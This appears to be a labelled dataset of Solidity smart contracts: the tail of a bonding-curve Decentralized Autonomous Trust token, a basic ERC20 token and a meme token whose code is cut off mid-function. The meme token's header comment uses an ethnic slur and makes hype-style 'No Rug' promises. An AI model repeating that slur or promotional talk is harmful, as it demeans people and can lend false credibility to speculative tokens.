uint private constant MAX_BEFORE_SQUARE = 2**128 - 1;
/// @notice The denominator component for values specified in basis points.
uint private constant BASIS_POINTS_DEN = 10000;
/// @notice The max `totalSupply() + burnedSupply`
/// @dev This limit ensures that the DAT's formulas do not overflow (<MAX_BEFORE_SQUARE/2)
uint private constant MAX_SUPPLY = 10 ** 38;
/**
* Data specific to our token business logic
*/
/// @notice The contract for transfer authorizations, if any.
IWhitelist public whitelist;
/// @notice The total number of burned COT tokens, excluding tokens burned from a `Sell` action in the DAT.
uint public burnedSupply;
/**
* Data for DAT business logic
*/
/// @notice Set if the COTs minted by the organization when it commits its revenues are
/// automatically burnt (`true`) or not (`false`). Defaults to `false` meaning that there
/// is no automatic burn.
bool public autoBurn;
/// @notice The address of the beneficiary organization which receives the investments.
/// Points to the wallet of the organization.
address payable public beneficiary;
/// @notice The buy slope of the bonding curve.
/// Does not affect the financial model, only the granularity of COT.
/// @dev This is the numerator component of the fractional value.
uint public buySlopeNum;
/// @notice The buy slope of the bonding curve.
/// Does not affect the financial model, only the granularity of COT.
/// @dev This is the denominator component of the fractional value.
uint public buySlopeDen;
/// @notice The address from which the updatable variables can be updated
address public control;
/// @notice The address of the token used as reserve in the bonding curve
/// (e.g. the DAI contract). Use ETH if 0.
IERC20 public currency;
/// @notice The address where fees are sent.
address payable public feeCollector;
/// @notice The percent fee collected each time new COT are issued expressed in basis points.
uint public feeBasisPoints;
/// @notice The initial fundraising goal (expressed in COT) to start the c-org.
/// `0` means that there is no initial fundraising and the c-org immediately moves to run state.
uint public initGoal;
/// @notice A map with all investors in init state using address as a key and amount as value.
/// @dev This structure's purpose is to make sure that only investors can withdraw their money if init_goal is not reached.
mapping(address => uint) public initInvestors;
/// @notice The initial number of COT created at initialization for the beneficiary.
/// Technically however, this variable is not a constant as we must always have
///`init_reserve>=total_supply+burnt_supply` which means that `init_reserve` will be automatically
/// decreased to equal `total_supply+burnt_supply` in case `init_reserve>total_supply+burnt_supply`
/// after an investor sells his COTs.
/// @dev Organizations may move these tokens into vesting contract(s)
uint public initReserve;
/// @notice The investment reserve of the c-org. Defines the percentage of the value invested that is
/// automatically funneled and held into the buyback_reserve expressed in basis points.
uint public investmentReserveBasisPoints;
/// @notice The earliest date/time (in seconds) that the DAT may enter the `CLOSE` state, ensuring
/// that if the DAT reaches the `RUN` state it will remain running for at least this period of time.
/// @dev This value may be increased anytime by the control account
uint public openUntilAtLeast;
/// @notice The minimum amount of `currency` investment accepted.
uint public minInvestment;
/// @notice The revenue commitment of the organization. Defines the percentage of the value paid through the contract
/// that is automatically funneled and held into the buyback_reserve expressed in basis points.
uint public revenueCommitmentBasisPoints;
/// @notice The current state of the contract.
/// @dev See the constants above for possible state values.
uint public state;
string public constant version = "2";
// --- EIP712 niceties ---
// Original source: https://etherscan.io/address/0x6b175474e89094c44da98b954eedeac495271d0f#code
mapping (address => uint) public nonces;
bytes32 public DOMAIN_SEPARATOR;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)");
bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
modifier authorizeTransfer(
address _from,
address _to,
uint _value,
bool _isSell
)
{
if(address(whitelist) != address(0))
{
// This is not set for the minting of initialReserve
whitelist.authorizeTransfer(_from, _to, _value, _isSell);
}
_;
}
/**
* Buyback reserve
*/
/// @notice The total amount of currency value currently locked in the contract and available to sellers.
function buybackReserve() public view returns (uint)
{
uint reserve = address(this).balance;
if(address(currency) != address(0))
{
reserve = currency.balanceOf(address(this));
}
if(reserve > MAX_BEFORE_SQUARE)
{
/// Math: If the reserve becomes excessive, cap the value to prevent overflowing in other formulas
return MAX_BEFORE_SQUARE;
}
return reserve;
}
/**
* Functions required for the whitelist
*/
function _detectTransferRestriction(
address _from,
address _to,
uint _value
) private view
returns (uint)
{
if(address(whitelist) != address(0))
{
// This is not set for the minting of initialReserve
return whitelist.detectTransferRestriction(_from, _to, _value);
}
return 0;
}
/**
* Functions required by the ERC-20 token standard
*/
/// @dev Moves tokens from one account to another if authorized.
function _transfer(
address _from,
address _to,
uint _amount
) internal
authorizeTransfer(_from, _to, _amount, false)
{
require(state != STATE_INIT || _from == beneficiary, "ONLY_BENEFICIARY_DURING_INIT");
super._transfer(_from, _to, _amount);
}
/// @dev Removes tokens from the circulating supply.
function _burn(
address _from,
uint _amount,
bool _isSell
) internal
authorizeTransfer(_from, address(0), _amount, _isSell)
{
super._burn(_from, _amount);
if(!_isSell)
{
// This is a burn
require(state == STATE_RUN, "ONLY_DURING_RUN");
// SafeMath not required as we cap how high this value may get during mint
burnedSupply += _amount;
emit Burn(_from, _amount);
}
}
/// @notice Called to mint tokens on `buy`.
function _mint(
address _to,
uint _quantity
) internal
authorizeTransfer(address(0), _to, _quantity, false)
{
super._mint(_to, _quantity);
// Math: If this value got too large, the DAT may overflow on sell
require(totalSupply().add(burnedSupply) <= MAX_SUPPLY, "EXCESSIVE_SUPPLY");
}
/**
* Transaction Helpers
*/
/// @notice Confirms the transfer of `_quantityToInvest` currency to the contract.
function _collectInvestment(
uint _quantityToInvest,
uint _msgValue,
bool _refundRemainder
) private
{
if(address(currency) == address(0))
{
// currency is ETH
if(_refundRemainder)
{
// Math: if _msgValue was not sufficient then revert
uint refund = _msgValue.sub(_quantityToInvest);
if(refund > 0)
{
Address.sendValue(msg.sender, refund);
}
}
else
{
require(_quantityToInvest == _msgValue, "INCORRECT_MSG_VALUE");
}
}
else
{
// currency is ERC20
require(_msgValue == 0, "DO_NOT_SEND_ETH");
currency.safeTransferFrom(msg.sender, address(this), _quantityToInvest);
}
}
/// @dev Send `_amount` currency from the contract to the `_to` account.
function _transferCurrency(
address payable _to,
uint _amount
) private
{
if(_amount > 0)
{
if(address(currency) == address(0))
{
Address.sendValue(_to, _amount);
}
else
{
currency.safeTransfer(_to, _amount);
}
}
}
/**
* Config / Control
*/
/// @notice Called once after deploy to set the initial configuration.
/// None of the values provided here may change once initially set.
/// @dev using the init pattern in order to support zos upgrades
function initialize(
uint _initReserve,
address _currencyAddress,
uint _initGoal,
uint _buySlopeNum,
uint _buySlopeDen,
uint _investmentReserveBasisPoints,
string memory _name,
string memory _symbol
) public
{
require(control == address(0), "ALREADY_INITIALIZED");
ERC20Detailed.initialize(_name, _symbol, 18);
// Set initGoal, which in turn defines the initial state
if(_initGoal == 0)
{
emit StateChange(state, STATE_RUN);
state = STATE_RUN;
}
else
{
// Math: If this value got too large, the DAT would overflow on sell
require(_initGoal < MAX_SUPPLY, "EXCESSIVE_GOAL");
initGoal = _initGoal;
}
require(_buySlopeNum > 0, "INVALID_SLOPE_NUM");
require(_buySlopeDen > 0, "INVALID_SLOPE_DEN");
require(_buySlopeNum < MAX_BEFORE_SQUARE, "EXCESSIVE_SLOPE_NUM");
require(_buySlopeDen < MAX_BEFORE_SQUARE, "EXCESSIVE_SLOPE_DEN");
buySlopeNum = _buySlopeNum;
buySlopeDen = _buySlopeDen;
// 100% or less
require(_investmentReserveBasisPoints <= BASIS_POINTS_DEN, "INVALID_RESERVE");
investmentReserveBasisPoints = _investmentReserveBasisPoints;
// Set default values (which may be updated using `updateConfig`)
minInvestment = 100 ether;
beneficiary = msg.sender;
control = msg.sender;
feeCollector = msg.sender;
// Save currency
currency = IERC20(_currencyAddress);
// Mint the initial reserve
if(_initReserve > 0)
{
initReserve = _initReserve;
_mint(beneficiary, initReserve);
}
// Initialize permit
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes(version)),
getChainId(),
address(this)
)
);
}
function getChainId(
) private pure
returns (uint id)
{
// solium-disable-next-line
assembly
{
id := chainid()
}
}
function updateConfig(
address _whitelistAddress,
address payable _beneficiary,
address _control,
address payable _feeCollector,
uint _feeBasisPoints,
bool _autoBurn,
uint _revenueCommitmentBasisPoints,
uint _minInvestment,
uint _openUntilAtLeast
) public
{
// This require(also confirms that initialize has been called.
require(msg.sender == control, "CONTROL_ONLY");
// address(0) is okay
whitelist = IWhitelist(_whitelistAddress);
require(_control != address(0), "INVALID_ADDRESS");
control = _control;
require(_feeCollector != address(0), "INVALID_ADDRESS");
feeCollector = _feeCollector;
autoBurn = _autoBurn;
require(_revenueCommitmentBasisPoints <= BASIS_POINTS_DEN, "INVALID_COMMITMENT");
require(_revenueCommitmentBasisPoints >= revenueCommitmentBasisPoints, "COMMITMENT_MAY_NOT_BE_REDUCED");
revenueCommitmentBasisPoints = _revenueCommitmentBasisPoints;
require(_feeBasisPoints <= BASIS_POINTS_DEN, "INVALID_FEE");
feeBasisPoints = _feeBasisPoints;
require(_minInvestment > 0, "INVALID_MIN_INVESTMENT");
minInvestment = _minInvestment;
require(_openUntilAtLeast >= openUntilAtLeast, "OPEN_UNTIL_MAY_NOT_BE_REDUCED");
openUntilAtLeast = _openUntilAtLeast;
if(beneficiary != _beneficiary)
{
require(_beneficiary != address(0), "INVALID_ADDRESS");
uint tokens = balanceOf(beneficiary);
initInvestors[_beneficiary] = initInvestors[_beneficiary].add(initInvestors[beneficiary]);
initInvestors[beneficiary] = 0;
if(tokens > 0)
{
_transfer(beneficiary, _beneficiary, tokens);
}
beneficiary = _beneficiary;
}
emit UpdateConfig(
_whitelistAddress,
_beneficiary,
_control,
_feeCollector,
_autoBurn,
_revenueCommitmentBasisPoints,
_feeBasisPoints,
_minInvestment,
_openUntilAtLeast
);
}
/**
* Functions for our business logic
*/
/// @notice Burn the amount of tokens from the address msg.sender if authorized.
/// @dev Note that this is not the same as a `sell` via the DAT.
function burn(
uint _amount
) public
{
_burn(msg.sender, _amount, false);
}
// Buy
/// @dev Distributes _value currency between the buybackReserve, beneficiary, and feeCollector.
function _distributeInvestment(
uint _value
) private
{
// Rounding favors buybackReserve, then beneficiary, and feeCollector is last priority.
// Math: if investment value is < (2^256 - 1) / 10000 this will never overflow.
// Except maybe with a huge single investment, but they can try again with multiple smaller investments.
uint reserve = investmentReserveBasisPoints.mul(_value);
reserve /= BASIS_POINTS_DEN;
reserve = _value.sub(reserve);
uint fee = reserve.mul(feeBasisPoints);
fee /= BASIS_POINTS_DEN;
// Math: since feeBasisPoints is <= BASIS_POINTS_DEN, this will never underflow.
_transferCurrency(beneficiary, reserve - fee);
_transferCurrency(feeCollector, fee);
}
/// @notice Calculate how many COT tokens you would buy with the given amount of currency if `buy` was called now.
/// @param _currencyValue How much currency to spend in order to buy COT.
function estimateBuyValue(
uint _currencyValue
) public view
returns (uint)
{
if(_currencyValue < minInvestment)
{
return 0;
}
/// Calculate the tokenValue for this investment
uint tokenValue;
if(state == STATE_INIT)
{
uint currencyValue = _currencyValue;
uint _totalSupply = totalSupply();
// (buy_slope*init_goal)*(init_goal+init_reserve-total_supply)/2
// n/d: buy_slope (MAX_BEFORE_SQUARE / MAX_BEFORE_SQUARE)
// g: init_goal (MAX_BEFORE_SQUARE/2)
// t: total_supply (MAX_BEFORE_SQUARE/2)
// r: init_reserve (MAX_BEFORE_SQUARE/2)
// source: ((n/d)*g)*(g+r-t)/2
// impl: (g n (g + r - t))/(2 d)
uint max = BigDiv.bigDiv2x1(
initGoal * buySlopeNum,
initGoal + initReserve - _totalSupply,
2 * buySlopeDen
);
if(currencyValue > max)
{
currencyValue = max;
}
// Math: worst case
// MAX * 2 * MAX_BEFORE_SQUARE
// / MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE
tokenValue = BigDiv.bigDiv2x1(
currencyValue,
2 * buySlopeDen,
initGoal * buySlopeNum
);
if(currencyValue != _currencyValue)
{
currencyValue = _currencyValue - max;
// ((2*next_amount/buy_slope)+init_goal^2)^(1/2)-init_goal
// a: next_amount | currencyValue
// n/d: buy_slope (MAX_BEFORE_SQUARE / MAX_BEFORE_SQUARE)
// g: init_goal (MAX_BEFORE_SQUARE/2)
// r: init_reserve (MAX_BEFORE_SQUARE/2)
// sqrt(((2*a/(n/d))+g^2)-g
// sqrt((2 d a + n g^2)/n) - g
// currencyValue == 2 d a
uint temp = 2 * buySlopeDen;
currencyValue = temp.mul(currencyValue);
// temp == g^2
temp = initGoal;
temp *= temp;
// temp == n g^2
temp = temp.mul(buySlopeNum);
// temp == (2 d a) + n g^2
temp = currencyValue.add(temp);
// temp == (2 d a + n g^2)/n
temp /= buySlopeNum;
// temp == sqrt((2 d a + n g^2)/n)
temp = temp.sqrt();
// temp == sqrt((2 d a + n g^2)/n) - g
temp -= initGoal;
tokenValue = tokenValue.add(temp);
}
}
else if(state == STATE_RUN)
{
// initReserve is reduced on sell as necessary to ensure that this line will not overflow
uint supply = totalSupply() + burnedSupply - initReserve;
// Math: worst case
// MAX * 2 * MAX_BEFORE_SQUARE
// / MAX_BEFORE_SQUARE
tokenValue = BigDiv.bigDiv2x1(
_currencyValue,
2 * buySlopeDen,
buySlopeNum
);
// Math: worst case MAX + (MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE)
tokenValue = tokenValue.add(supply * supply);
tokenValue = tokenValue.sqrt();
// Math: small chance of underflow due to possible rounding in sqrt
tokenValue = tokenValue.sub(supply);
}
else
{
// invalid state
return 0;
}
return tokenValue;
}
/// @notice Purchase COT tokens with the given amount of currency.
/// @param _to The account to receive the COT tokens from this purchase.
/// @param _currencyValue How much currency to spend in order to buy COT.
/// @param _minTokensBought Buy at least this many COT tokens or the transaction reverts.
/// @dev _minTokensBought is necessary as the price will change if some elses transaction mines after
/// yours was submitted.
function buy(
address _to,
uint _currencyValue,
uint _minTokensBought
) public payable
{
require(_to != address(0), "INVALID_ADDRESS");
require(_minTokensBought > 0, "MUST_BUY_AT_LEAST_1");
// Calculate the tokenValue for this investment
uint tokenValue = estimateBuyValue(_currencyValue);
require(tokenValue >= _minTokensBought, "PRICE_SLIPPAGE");
emit Buy(msg.sender, _to, _currencyValue, tokenValue);
_collectInvestment(_currencyValue, msg.value, false);
// Update state, initInvestors, and distribute the investment when appropriate
if(state == STATE_INIT)
{
// Math worst case: MAX_BEFORE_SQUARE
initInvestors[_to] += tokenValue;
// Math worst case:
// MAX_BEFORE_SQUARE + MAX_BEFORE_SQUARE
if(totalSupply() + tokenValue - initReserve >= initGoal)
{
emit StateChange(state, STATE_RUN);
state = STATE_RUN;
// Math worst case:
// MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE/2
// / MAX_BEFORE_SQUARE * 2
uint beneficiaryContribution = BigDiv.bigDiv2x1(
initInvestors[beneficiary],
buySlopeNum * initGoal,
buySlopeDen * 2
);
_distributeInvestment(buybackReserve().sub(beneficiaryContribution));
}
}
else // implied: if(state == STATE_RUN)
{
if(_to != beneficiary)
{
_distributeInvestment(_currencyValue);
}
}
_mint(_to, tokenValue);
if(state == STATE_RUN && msg.sender == beneficiary && _to == beneficiary && autoBurn)
{
// must mint before this call
_burn(beneficiary, tokenValue, false);
}
}
/// Sell
function estimateSellValue(
uint _quantityToSell
) public view
returns(uint)
{
uint reserve = buybackReserve();
// Calculate currencyValue for this sale
uint currencyValue;
if(state == STATE_RUN)
{
uint supply = totalSupply() + burnedSupply;
// buyback_reserve = r
// total_supply = t
// burnt_supply = b
// amount = a
// source: (t+b)*a*(2*r)/((t+b)^2)-(((2*r)/((t+b)^2)*a^2)/2)+((2*r)/((t+b)^2)*a*b^2)/(2*(t))
// imp: (a b^2 r)/(t (b + t)^2) + (2 a r)/(b + t) - (a^2 r)/(b + t)^2
// Math: burnedSupply is capped in COT such that the square will never overflow
// Math worst case:
// MAX * MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE/2 * MAX_BEFORE_SQUARE/2
// / MAX_BEFORE_SQUARE/2 * MAX_BEFORE_SQUARE/2 * MAX_BEFORE_SQUARE/2
currencyValue = BigDiv.bigDiv2x2(
_quantityToSell.mul(reserve),
burnedSupply * burnedSupply,
totalSupply(), supply * supply
);
// Math: worst case currencyValue is MAX_BEFORE_SQUARE (max reserve, 1 supply)
// Math worst case:
// MAX * 2 * MAX_BEFORE_SQUARE
uint temp = _quantityToSell.mul(2 * reserve);
temp /= supply;
// Math: worst-case temp is MAX_BEFORE_SQUARE (max reserve, 1 supply)
// Math: considering the worst-case for currencyValue and temp, this can never overflow
currencyValue += temp;
// Math: worst case
// MAX * MAX * MAX_BEFORE_SQUARE
// / MAX_BEFORE_SQUARE/2 * MAX_BEFORE_SQUARE/2
currencyValue -= BigDiv.bigDiv2x1RoundUp(
_quantityToSell.mul(_quantityToSell),
reserve,
supply * supply
);
}
else if(state == STATE_CLOSE)
{
// Math worst case
// MAX * MAX_BEFORE_SQUARE
currencyValue = _quantityToSell.mul(reserve);
currencyValue /= totalSupply();
}
else
{
// STATE_INIT or STATE_CANCEL
// Math worst case:
// MAX * MAX_BEFORE_SQUARE
currencyValue = _quantityToSell.mul(reserve);
// Math: COT blocks initReserve from being burned unless we reach the RUN state which prevents an underflow
currencyValue /= totalSupply() - initReserve;
}
return currencyValue;
}
/// @notice Sell COT tokens for at least the given amount of currency.
/// @param _to The account to receive the currency from this sale.
/// @param _quantityToSell How many COT tokens to sell for currency value.
/// @param _minCurrencyReturned Get at least this many currency tokens or the transaction reverts.
/// @dev _minCurrencyReturned is necessary as the price will change if some elses transaction mines after
/// yours was submitted.
function sell(
address payable _to,
uint _quantityToSell,
uint _minCurrencyReturned
) public
{
require(msg.sender != beneficiary || state >= STATE_CLOSE, "BENEFICIARY_ONLY_SELL_IN_CLOSE_OR_CANCEL");
require(_minCurrencyReturned > 0, "MUST_SELL_AT_LEAST_1");
uint currencyValue = estimateSellValue(_quantityToSell);
require(currencyValue >= _minCurrencyReturned, "PRICE_SLIPPAGE");
if(state == STATE_INIT || state == STATE_CANCEL)
{
initInvestors[msg.sender] = initInvestors[msg.sender].sub(_quantityToSell);
}
_burn(msg.sender, _quantityToSell, true);
uint supply = totalSupply() + burnedSupply;
if(supply < initReserve)
{
initReserve = supply;
}
_transferCurrency(_to, currencyValue);
emit Sell(msg.sender, _to, currencyValue, _quantityToSell);
}
/// Pay
function estimatePayValue(
uint _currencyValue
) public view
returns (uint)
{
// buy_slope = n/d
// revenue_commitment = c/g
// sqrt(
// (2 a c d)
// /
// (g n)
// + s^2
// ) - s
uint supply = totalSupply() + burnedSupply;
// Math: worst case
// MAX * 2 * 10000 * MAX_BEFORE_SQUARE
// / 10000 * MAX_BEFORE_SQUARE
uint tokenValue = BigDiv.bigDiv2x1(
_currencyValue.mul(2 * revenueCommitmentBasisPoints),
buySlopeDen,
BASIS_POINTS_DEN * buySlopeNum
);
tokenValue = tokenValue.add(supply * supply);
tokenValue = tokenValue.sqrt();
if(tokenValue > supply)
{
tokenValue -= supply;
}
else
{
tokenValue = 0;
}
return tokenValue;
}
/// @dev Pay the organization on-chain.
/// @param _to The account which receives tokens for the contribution.
/// @param _currencyValue How much currency which was paid.
function _pay(
address _to,
uint _currencyValue
) private
{
require(_currencyValue > 0, "MISSING_CURRENCY");
require(state == STATE_RUN, "INVALID_STATE");
// Send a portion of the funds to the beneficiary, the rest is added to the buybackReserve
// Math: if _currencyValue is < (2^256 - 1) / 10000 this will not overflow
uint reserve = _currencyValue.mul(investmentReserveBasisPoints);
reserve /= BASIS_POINTS_DEN;
uint tokenValue = estimatePayValue(_currencyValue);
// Update the to address to the beneficiary if the currency value would fail
address to = _to;
if(to == address(0))
{
to = beneficiary;
}
else if(_detectTransferRestriction(address(0), _to, tokenValue) != 0)
{
to = beneficiary;
}
// Math: this will never underflow since investmentReserveBasisPoints is capped to BASIS_POINTS_DEN
_transferCurrency(beneficiary, _currencyValue - reserve);
// Distribute tokens
if(tokenValue > 0)
{
_mint(to, tokenValue);
if(to == beneficiary && autoBurn)
{
// must mint before this call
_burn(beneficiary, tokenValue, false);
}
}
emit Pay(msg.sender, _to, _currencyValue, tokenValue);
}
/// @dev Pay the organization on-chain.
/// @param _to The account which receives tokens for the contribution. If this address
/// is not authorized to receive tokens then they will be sent to the beneficiary account instead.
/// @param _currencyValue How much currency which was paid.
function pay(
address _to,
uint _currencyValue
) public payable
{
_collectInvestment(_currencyValue, msg.value, false);
_pay(_to, _currencyValue);
}
/// @notice Pay the organization on-chain without minting any tokens.
/// @dev This allows you to add funds directly to the buybackReserve.
function () external payable
{
require(address(currency) == address(0), "ONLY_FOR_CURRENCY_ETH");
}
/// Close
function estimateExitFee(
uint _msgValue
) public view
returns(uint)
{
uint exitFee;
if(state == STATE_RUN)
{
uint reserve = buybackReserve();
reserve = reserve.sub(_msgValue);
// Source: t*(t+b)*(n/d)-r
// Implementation: (b n t)/d + (n t^2)/d - r
uint _totalSupply = totalSupply();
// Math worst case:
// MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE/2 * MAX_BEFORE_SQUARE
exitFee = BigDiv.bigDiv2x1(
_totalSupply,
burnedSupply * buySlopeNum,
buySlopeDen
);
// Math worst case:
// MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE * MAX_BEFORE_SQUARE
exitFee += BigDiv.bigDiv2x1(
_totalSupply,
buySlopeNum * _totalSupply,
buySlopeDen
);
// Math: this if condition avoids a potential overflow
if(exitFee <= reserve)
{
exitFee = 0;
}
else
{
exitFee -= reserve;
}
}
return exitFee;
}
/// @notice Called by the beneficiary account to STATE_CLOSE or STATE_CANCEL the c-org,
/// preventing any more tokens from being minted.
/// @dev Requires an `exitFee` to be paid. If the currency is ETH, include a little more than
/// what appears to be required and any remainder will be returned to your account. This is
/// because another user may have a transaction mined which changes the exitFee required.
/// For other `currency` types, the beneficiary account will be billed the exact amount required.
function close() public payable
{
require(msg.sender == beneficiary, "BENEFICIARY_ONLY");
uint exitFee = 0;
if(state == STATE_INIT)
{
// Allow the org to cancel anytime if the initGoal was not reached.
emit StateChange(state, STATE_CANCEL);
state = STATE_CANCEL;
}
else if(state == STATE_RUN)
{
// Collect the exitFee and close the c-org.
require(openUntilAtLeast <= block.timestamp, "TOO_EARLY");
exitFee = estimateExitFee(msg.value);
emit StateChange(state, STATE_CLOSE);
state = STATE_CLOSE;
_collectInvestment(exitFee, msg.value, true);
}
else
{
revert("INVALID_STATE");
}
emit Close(exitFee);
}
// --- Approve by signature ---
// Original source: https://etherscan.io/address/0x6b175474e89094c44da98b954eedeac495271d0f#code
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external
{
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed
)
)
)
);
require(holder != address(0), "DAT/invalid-address-0");
require(holder == ecrecover(digest, v, r, s), "DAT/invalid-permit");
require(expiry == 0 || now <= expiry, "DAT/permit-expired");
require(nonce == nonces[holder]++, "DAT/invalid-nonce");
uint wad = allowed ? uint(-1) : 0;
_approve(holder, spender, wad);
}
}
/// @title DXDBurnRelayer
/// @author github:AugustoL
/// @notice This smart contract has not be audited.
/// @dev Only burns DXD received
contract DXDBurnRelayer {
DecentralizedAutonomousTrust public DXD;
constructor(address payable _DXD) public {
DXD = DecentralizedAutonomousTrust(_DXD);
}
function executeBurn() public {
DXD.burn(DXD.balanceOf(address(this)));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract ZeepyNetwork is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Zeepy Network";
symbol = "Zeepy";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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pragma solidity ^0.6.0;
/*
口热，中国版本!
No Presale, No Mint Function, 5% Burn ALL Transactions
Total give you : 8888
(Check contract no lie to you pajeets)
ME KEEP: 444.44 (5%)
- No much no less, me math very good, English baby school
Wechat: only if you hot girl then i tell u
Here my twitter
https://twitter.com/ChineseBillion1
I create use VPN, china no have twitter
dont tell anyone, i trouble later
I am no Pajeet, Pajeet 不会中文.
Don’t know Chinese!
No Rug! GuangZhou Very small can find me very easy.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addi over");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "sub over");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "multi over");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "division zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "mod");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "transfer amount more allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "decrease allowance less zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "transfer from zero address");
require(recipient != address(0), "transfer go zero address");
_balances[sender] = _balances[sender].sub(amount, "transfer amount more balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "deploy go zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _fire(address account, uint256 amount) internal virtual {
require(account != address(0), "fire from zero address");
_balances[account] = _balances[account].sub(amount, "fire more balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
